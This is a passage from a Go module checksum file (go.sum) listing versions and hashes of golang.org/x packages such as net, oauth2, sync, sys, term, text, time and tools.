h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190522155817-f3200d17e092/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210402161424-2e8d93401602/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod 